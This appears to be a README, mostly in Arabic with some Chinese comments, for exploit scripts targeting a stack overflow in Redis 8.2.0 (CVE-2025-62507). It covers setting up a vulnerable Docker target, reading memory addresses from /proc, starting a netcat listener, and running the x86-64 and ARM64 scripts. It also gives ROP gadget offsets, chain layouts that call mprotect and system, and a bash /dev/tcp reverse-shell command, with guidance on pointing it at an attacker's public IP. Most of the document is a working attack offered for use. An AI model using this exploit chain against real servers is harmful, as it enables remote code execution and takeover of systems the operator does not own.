
نصوص استغلال لـ CVE-2025-62507، تجاوز سعة المخزن المؤقت للمكدس في Redis 8.2.0. يوفر استغلالات سلسلة ROP لـ x86-64 و ARM64 مع توليد شيلكود لصالات عكسية، بما في ذلك دعم تصحيح GDB وبيئة ضعيفة قائمة على Docker.
scripts/
├── exploit_x86.py # x86-64 ROP exploit
├── exploit_arm64.py # ARM64 (AArch64) ROP exploit
└── gdb_with_symbols.sh # GDB 调试辅助脚本
| البند | الوصف |
|---|---|
| CVE | CVE-2025-62507 |
| نوع الثغرة | تجاوز سعة المخزن المؤقت للمكدس (Stack Buffer Overflow) |
| المكوّن المتأثر | دالة xackdelCommand في Redis 8.2.0 |
| طريقة الاستغلال | أمر XACKDEL مع أكثر من 52 streamID |
| تقنية الاستغلال | سلسلة ROP ← mprotect لإلغاء قفل صلاحيات تنفيذ المكدس ← shellcode لفتح قشرة عكسية (reverse shell) |
| الاعتماديات | بايثون 3 (مكتبة قياسية فقط، لا يتطلب تثبيتًا إضافيًا) |
nc -lvnp 4444 على جهاز المهاجم مسبقًا لانتظار القشرة العكسية/proc/<PID>/maps لعملية الهدف (صلاحيات root)socket, struct, time, sys)# 在项目根目录执行
docker compose -f docker-compose-vulnerable.yml up -d
# 确认容器运行
docker ps | grep redis-cve-2025-62507
REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')
# x86-64 地址获取
REDIS_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep -w redis-server | head -1 | cut -d'-' -f1)
LIBC_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep libc.so | head -1 | cut -d'-' -f1)
STACK_ADDR=$(sudo cat /proc/$REDIS_PID/maps | grep -w stack | head -1 | cut -d'-' -f1)
echo "REDIS_BASE=$REDIS_BASE LIBC_BASE=$LIBC_BASE STACK_ADDR=$STACK_ADDR"
ملاحظة: تتغير العناوين بعد كل إعادة تشغيل للحاوية (ASLR)، ويجب إعادة الحصول عليها.
# 在宿主机另开一个终端
nc -lvnp 4444
# x86-64
python3 scripts/exploit_x86.py 0x$REDIS_BASE 0x$LIBC_BASE 0x$STACK_ADDR
# ARM64 (Docker QEMU 固定地址, ASLR=OFF)
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 [rev_host] [rev_port] [target]
python3 scripts/exploit_x86.py <redis_base> <libc_base> <stack_addr>
| المعامل | المعنى | طريقة الحصول عليه | قيمة مثال |
|---|---|---|---|
redis_base | العنوان الأساسي لملف ELF الخاص بـ redis-server | عنوان بداية المقطع الأول من redis-server في /proc/PID/maps | 0x555555554000 |
libc_base | العنوان الأساسي لمكتبة libc.so.6 | عنوان بداية المقطع الأول من libc.so في /proc/PID/maps | 0x7ffff75b3000 |
stack_addr | عنوان بداية مقطع مكدس الخيط | عنوان بداية المقطع [stack] في /proc/PID/maps | 0x7ffffffde000 |
52 个填充 ID (1-1)
│
▼
ID#53 overflow ──→ pop rdi; ret (redis + 0x82327)
ID#54 ──→ pop rsi; ret (redis + 0x86416)
ID#55 ──→ pop rdx; ret (redis + 0xba1e2)
ID#56 ──→ mprotect() (libc + 0x1019e0)
ID#57 ──→ call rsp (redis + 0x9486d)
ID#58+ ──→ shellcode ──→ system("/bin/bash -c '...'")
| Gadget | الإزاحة | الوصف |
|---|---|---|
pop rdi; ret | 0x82327 | تعيين المعامل الأول لـ mprotect (addr) |
pop rsi; ret | 0x86416 | تعيين المعامل الثاني لـ mprotect (len) |
pop rdx; ret | 0xba1e2 | تعيين المعامل الثالث لـ mprotect (prot) |
call rsp | 0x9486d | القفز إلى shellcode على المكدس |
mprotect (libc) | 0x1019e0 | إلغاء قفل صفحة المكدس وجعلها RWX |
system (libc) | 0x4c490 | تنفيذ أمر القشرة العكسية |
متغير reverse_shell_cmd معرّف في السطر 149 من السكربت، وقيمته الافتراضية كما يلي:
reverse_shell_cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'"
طريقة التعديل: حرّر exploit_x86.py، وابحث عن سطر reverse_shell_cmd، واستبدل IP والمنفذ:
| السيناريو | IP | الوصف |
|---|---|---|
شبكة Docker host (الافتراضية) | 127.0.0.1 | الحاوية تشترك في مكدس الشبكة مع المضيف، أي أن 127.0.0.1 هو المضيف |
شبكة Docker bridge | 172.17.0.1 | البوابة الجسرية الافتراضية، وتشير إلى المضيف |
| هجوم عن بُعد | <IP العام لجهاز المهاجم> | يجب أن يتمكن الهدف من توجيه الحزم إلى المنفذ المقابل على جهاز المهاجم |
تعديل المنفذ: استبدل 4444 في /dev/tcp/<IP>/4444 بمنفذ الاستماع الفعلي.
يتم حساب
stack_pageديناميكيًا بناءً على معاملstack_addr:(stack_addr + 0x1000) & ~0xFFF، لضمان أن نافذة mprotect تغطي منطقة المكدس التي يوجد بها shellcode. إذا كان تخطيط المكدس غير طبيعي، يجب تعديله بالتزامن.
python3 scripts/exploit_arm64.py <redis_base> <libc_base> <stack_addr> [rev_host] [rev_port] [target]
| المعامل | المعنى | طريقة الحصول عليه | قيمة مثال |
|---|---|---|---|
redis_base | العنوان الأساسي لملف ELF الخاص بـ redis-server-8.2.0-arm64 | عنوان بداية المقطع الأول من redis-server في /proc/PID/maps | 0xaaaaaaaa0000 |
libc_base | العنوان الأساسي لمكتبة libc.so.6-arm64 | عنوان بداية المقطع الأول من libc.so في /proc/PID/maps | 0xfffff7630000 |
stack_addr | قيمة SP عند مدخل xackdelCommand (من تحليل GDB) | مراقبة SP عند مدخل xackdelCommand عبر نقطة توقف GDB | 0xfffffffff7e0 |
rev_host | (اختياري) IP لجهاز المهاجم للقشرة العكسية | — | 192.168.1.1 |
rev_port | (اختياري) منفذ الاستماع للقشرة العكسية | — | 4444 |
target | (اختياري) IP لخادم Redis الهدف | — | 192.168.1.129 |
ملاحظة خاصة بـ ARM64:
stack_addrهو قيمة SP عند دخولxackdelCommand(وليست عنوان بداية مقطع[stack]!).static_ids[0] = stack_addr - 0x310، وx30 المحفوظ فيcall()يقع عندstack_addr + 8(أيstatic_ids[49].seq).
49 个填充 ID (1-1)
│
▼
ID#49-58 call() 尾声帧 (10 IDs) — 覆盖 call() 保存的寄存器和局部变量
│ #49: saved x29 (dummy) + x30 (G5)
│ #50: saved x19/x20, #51: saved x21(=0)/x22
│ #52: x23/x24, #53: x25/x26, #54: x27/x28
│ #55-58: 局部变量 (设为 0)
│
▼ call() ret → SP = stack_addr + 0xa0
│
ID#59-61 Step 1: G5 (redis + 0x1a4d40) x0=writable, → G_SET_X2_7
ID#62-65 Step 2: G_SET_X2_7 (redis + 0x1d7a84) w2=7, → LDR_X1_SIDELOAD
ID#66-67 Step 3: LDR_X1_SIDELOAD (libc + 0x34ab4) x1=0x1000, → G5
ID#68-70 Step 4: G5 (redis + 0x1a4d40) x19=mprotect, → MOV_X3_X19
ID#71-93 Step 5: MOV_X3_X19 (redis + 0x2948b0) x3=mprotect, → LDR_X0_CLEAN
ID#94-95 Step 6: LDR_X0_CLEAN (libc + 0x6ae40) x0=stack_page, → BLR_X3
ID#96-98 Step 7: BLR_X3 (redis + 0x92bc4) call mprotect → shellcode
ID#99+ shellcode — system("/bin/bash -c 'reverse_shell_cmd'")
الأساسي: الخاتمة (epilogue) الدالة
call()تستعيد x19-x28 وتقرأ عدة متغيرات محلية من المكدس قبلret. يجب ملء ID#49-58 بقيم آمنة وإلا سينهار التنفيذ أثناء الخاتمة. تبدأ سلسلة ROP من ID#59 (موضع SP بعدretالخاص بـcall()).
| Gadget | الإزاحة | الوظيفة | استهلاك المكدس |
|---|---|---|---|
G5 (ldp x19,x20 + ldr x0) | 0x1a4d40 | تحميل x19, x0 من المكدس | 0x30 (3 IDs) |
G_SET_X2_7 | 0x1d7a84 | تعيين w2=7, w1=-1 (أثر جانبي) | 0x40 (4 IDs) |
MOV_X3_X19 | 0x2948b0 | x3 = x19 (mprotect)، الكتابة فوق x0 | 0x170 (23 IDs) |
BLR_X3 | 0x92bc4 | blr x3; استدعاء mprotect | 0x30 (3 IDs) |
| Gadget | الإزاحة | الوظيفة | استهلاك المكدس |
|---|---|---|---|
LDR_X1_SIDELOAD | 0x34ab4 | ldr x1,[sp,#0x18]; mov x0,x1 (أثر جانبي!) | 0x20 (2 IDs) |
LDR_X0_CLEAN | 0x6ae40 | ldr x0,[sp,#0x18]; بدون أثر جانبي | 0x20 (2 IDs) |
mprotect | 0xe3ac0 | تعديل صلاحيات الذاكرة | - |
system | 0x49c24 | تنفيذ أوامر shell | - |